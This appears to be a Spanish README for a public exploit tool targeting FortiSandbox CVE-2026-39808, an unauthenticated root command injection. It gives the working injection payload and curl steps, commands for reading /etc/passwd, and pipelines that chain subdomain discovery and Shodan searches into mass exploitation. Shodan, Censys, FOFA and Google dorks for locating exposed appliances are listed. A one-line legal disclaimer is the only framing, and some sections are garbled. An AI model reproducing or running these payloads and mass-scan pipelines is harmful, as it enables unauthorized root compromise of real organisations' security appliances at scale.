
Escáner de RCE no autenticado para FortiSandbox CVE-2026-39808 con verificación basada en canarios, ejecución de comandos e integración en pipelines para escaneo masivo.
Inyección de comandos del sistema operativo sin autenticación como root en Fortinet FortiSandbox
Vulnerabilidad • Instalación • Uso • Cómo funciona • Pipeline • Dorks de Shodan • Aviso legal
CVE-2026-39808 es una vulnerabilidad crítica de inyección de comandos del sistema operativo sin autenticación en Fortinet FortiSandbox. El endpoint de API /fortisandbox/job-detail/tracer-behavior no sanea el parámetro jid, lo que permite a un atacante inyectar comandos arbitrarios del sistema operativo que se ejecutan como root — sin necesidad de autenticación.
El parámetro jid en el endpoint tracer-behavior se pasa directamente a un comando del sistema sin saneamiento. Usando caracteres de tubería (|), un atacante puede salir del contexto de comando previsto y ejecutar comandos arbitrarios:
GET /fortisandbox/job-detail/tracer-behavior?jid=|(id > /web/ng/out.txt)| HTTP/1.1
La salida se escribe en /web/ng/out.txt, que es accesible en /ng/out.txt en el servidor web — proporcionando un mecanismo conveniente de lectura para la inyección de comandos a ciegas.
Cero dependencias. Solo biblioteca estándar de Python 3.7+.
git clone https://github.com/ynsmroztas/FortiSandbox-RCE-Exploit-CVE-2026-39808
cd FortiSandbox-RCE-Exploit-CVE-2026-39808
chmod +x fortisandbox_rce.py
# Verificar si un objetivo es vulnerable (usa detección basada en canarios)
python3 fortisandbox_rce.py -u https://fortisandbox.target.com
# Ejecutar un comando específico en el objetivo
python3 fortisandbox_rce.py -u https://target.com --cmd "id"
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py -u https://target.com --cmd "uname -a"
# Solo comprobar si es vulnerable, no ejecutar --cmd
python3 fortisandbox_rce.py -u https://target.com --verify-only
python3 fortisandbox_rce.py -u https://target.com --cmd "id" --proxy http://127.0.0.1:8080
python3 fortisandbox_rce.py -u https://target.com -o report.json
# Desde una lista de URLs
cat targets.txt | python3 fortisandbox_rce.py --stdin --verify-only -o report.json
# subfinder → httpx → escáner
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
# Shodan → escáner
shodan search 'title:"FortiSandbox"' --fields ip_str,port --separator : | \
sed 's/^/https:\/\//' | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only -o results.json
usage: fortisandbox_rce.py [-h] [-u URL] [--stdin] [--cmd CMD] [--verify-only]
[--proxy PROXY] [--timeout TIMEOUT]
[--rate-limit RATE_LIMIT] [-o OUTPUT] [--no-banner]
Options:
-u, --url URL URL del objetivo
--stdin Leer URLs desde stdin (modo pipeline)
--cmd CMD Comando del sistema operativo a ejecutar (por defecto: id)
--verify-only Solo verificar la vulnerabilidad, no ejecutar --cmd
--proxy PROXY Proxy HTTP (p. ej., http://127.0.0.1:8080)
--timeout TIMEOUT Tiempo de espera HTTP en segundos (por defecto: 15)
--rate-limit RATE_LIMIT Retraso entre objetivos en ms (por defecto: 0)
-o, --output FILE Archivo de informe JSON de salida
--no-banner Suprimir el banner
El escáner utiliza un proceso de verificación de 5 pasos con prevención estricta de falsos positivos:
Paso 1 → Detectar FortiSandbox (huella de título/cabecera)
Paso 2 → Comprobar si el endpoint vulnerable existe
Paso 3 → Inyectar cadena canario única mediante inyección de comandos
Paso 4 → Leer /ng/out.txt y verificar el canario (validación estricta de texto plano)
Paso 5 → Ejecutar el comando del usuario + limpieza
El escáner implementa múltiples capas de validación para eliminar falsos positivos:
text/htmlid — Coincidencia estricta de patrón uid=\d+(\w+) con comprobación de tamaño (<1000 bytes)/ng para evitar problemas de doble ruta ╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Inyección de comandos sin autenticación (root) ║
╚══════════════════════════════════════════════════════════╝
mitsec | @ynsmroztas
┌──────────────────────────────────────────────────────────┐
│ Objetivo: https://fortisandbox.example.com │
└──────────────────────────────────────────────────────────┘
✓ ¡FortiSandbox detectado!
▸ Comprobando endpoint: /fortisandbox/job-detail/tracer-behavior
▸ Estado del endpoint: 200 | Content-Type: text/html
▸ Inyectando canario: mitsec_a8k3m2x1
▸ Leyendo salida: https://fortisandbox.example.com/ng/out.txt
CRITICAL 🔥 ¡VULNERABLE — CVE-2026-39808 CONFIRMADO!
CRITICAL Objetivo: https://fortisandbox.example.com
✓ Canario 'mitsec_a8k3m2x1' verificado en la salida (texto plano limpio)
──────────────────────────────────────────────────────────
Salida del comando: id
──────────────────────────────────────────────────────────
│ uid=0(root) gid=0(root) groups=0(root)
──────────────────────────────────────────────────────────
✓ Archivo de salida limpiado
┌──────────────────────────────────────────────────────────┐
│ Objetivo: https://patched.example.com │
└──────────────────────────────────────────────────────────┘
✓ FortiSandbox detectado!
▸ Comprobando endpoint: /fortisandbox/job-detail/tracer-behavior
✗ El endpoint devolvió 404 — no vulnerable o parcheado
▸ Leyendo salida: https://target.com/ng/out.txt
⚠ La URL de salida devuelve una página HTML — esto es el Angular SPA, NO la salida del comando
▸ Content-Type: text/html
▸ Esto es un falso positivo — /ng/out.txt sirve el index.html del SPA
▸ El objetivo no parece vulnerable
{
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": "2026-04-22T10:30:00+00:00",
"total_targets": 5,
"vulnerable": 1,
"results": [
{
"target": "https://fortisandbox.example.com",
"vulnerable": true,
"details": {
"is_fortisandbox": true,
"server": "Apache",
"canary": "mitsec_a8k3m2x1",
"verification": "canary_match",
"command": "id",
"output": "uid=0(root) gid=0(root) groups=0(root)"
},
"timestamp": "2026-04-22T10:30:00+00:00"
}
]
}
El escáner envía las URLs vulnerables a stdout (toda la demás salida va a stderr), lo que lo hace totalmente compatible con pipelines:
# Encontrar objetivos vulnerables y guardarlos
subfinder -d corp.com -silent | httpx -silent | \
python3 fortisandbox_rce.py --stdin --verify-only 2>/dev/null | \
tee vulnerable_fortisandbox.txt
# Encadenar con nuclei para más pruebas
cat vulnerable_fortisandbox.txt | nuclei -t cves/
# Escaneo masivo silencioso con limitación de velocidad
cat shodan_results.txt | \
python3 fortisandbox_rce.py --stdin --verify-only --rate-limit 1000 --no-banner -o report.json
title:"FortiSandbox"
title:"FortiSandbox - Please login"
http.html:"FortiSandbox" port:443
"FortiSandbox" ssl:"Fortinet"
http.favicon.hash:-1222072778
Censys:
services.http.response.html_title:"FortiSandbox"
FOFA:
title="FortiSandbox - Please login"
title="FortiSandbox" && country="TR"
Dork de Google:
intitle:"FortiSandbox - Please login"
Si prefieres verificar manualmente con curl:
# Paso 1: Inyectar comando
curl -s -k --get "https://TARGET/fortisandbox/job-detail/tracer-behavior" \
--data-urlencode "jid=|(id > /web/ng/out.txt)|"
# Paso 2: Leer la salida
curl -s -k "https://TARGET/ng/out.txt"
# Esperado: uid=0(root) gid=0(root) groups=0(root)
/fortisandbox/job-detail/jid que contengan caracteres de tubería| Fecha | Evento |
|---|---|
| Noviembre de 2025 | Vulnerabilidad descubierta |
| Abril de 2026 | CVE-2026-39808 publicado |
| Abril de 2026 | Parcheado en FortiSandbox 4.4.9 |
Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El acceso no autorizado a sistemas informáticos es ilegal. Obtén siempre la autorización escrita adecuada antes de realizar pruebas. El autor no asume ninguna responsabilidad por el mal uso de esta herramienta.
mitsec — @ynsmroztas
Si esta herramienta te ayudó, considera darle una ⭐
| Detalle | Valor |
|---|
| ID CVE | CVE-2026-39808 |
| Puntuación CVSS | 9.8 (Crítica) |
| Vector de ataque | Red |
| Autenticación | Ninguna |
| Privilegios | Root |
| Versiones afectadas | FortiSandbox < 4.4.9 |
| Corregido en | 4.4.9 y superiores |
| Aviso | FG-IR-25-325 |